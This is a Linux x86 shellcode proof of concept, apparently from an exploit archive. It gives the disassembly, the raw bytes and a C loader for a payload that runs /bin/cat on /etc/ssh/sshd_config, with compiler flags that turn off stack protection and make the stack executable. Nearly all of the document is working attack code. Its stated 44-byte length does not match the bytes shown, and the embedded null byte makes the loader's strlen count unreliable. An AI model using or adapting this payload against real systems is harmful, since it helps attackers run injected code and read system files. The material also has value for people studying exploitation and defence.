dac8dd4731
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52 lines
No EOL
1.7 KiB
C
52 lines
No EOL
1.7 KiB
C
/*
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# Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes
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# Author: Goutham Madhwaraj
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# Date: 2018-10-22
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# Tested on: i686 GNU/Linux
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# Shellcode Length: 44
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# ShoutOut - BarrierSec
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# gcc -fno-stack-protector -z execstack loader-bind.c -o
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Disassembly of section .text:
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08048080 <_start>:
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8048080: 31 c0 xor eax,eax
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8048082: 50 push eax
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8048083: 68 2f 63 61 74 push 0x7461632f
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8048088: 68 2f 62 69 6e push 0x6e69622f
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804808d: 89 e3 mov ebx,esp
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804808f: 50 push eax
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8048090: 68 6e 66 69 67 push 0x6769666e
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8048095: 68 64 5f 63 6f push 0x6f635f64
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804809a: 68 2f 73 73 68 push 0x6873732f
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804809f: 68 2f 73 73 68 push 0x6873732f
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80480a4: 68 2f 65 74 63 push 0x6374652f
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80480a9: 89 e1 mov ecx,esp
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80480ab: 6a 00 push 0x0
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80480ad: 51 push ecx
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80480ae: 53 push ebx
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80480af: 89 e1 mov ecx,esp
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80480b1: 50 push eax
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80480b2: 89 e2 mov edx,esp
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80480b4: b0 0b mov al,0xb
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80480b6: cd 80 int 0x80
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===============POC by Goutham Madhwaraj=========================
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x6e\x66\x69\x67\x68\x64\x5f\x63\x6f\x68\x2f\x73\x73\x68\x68\x2f\x73\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x6a\x00\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |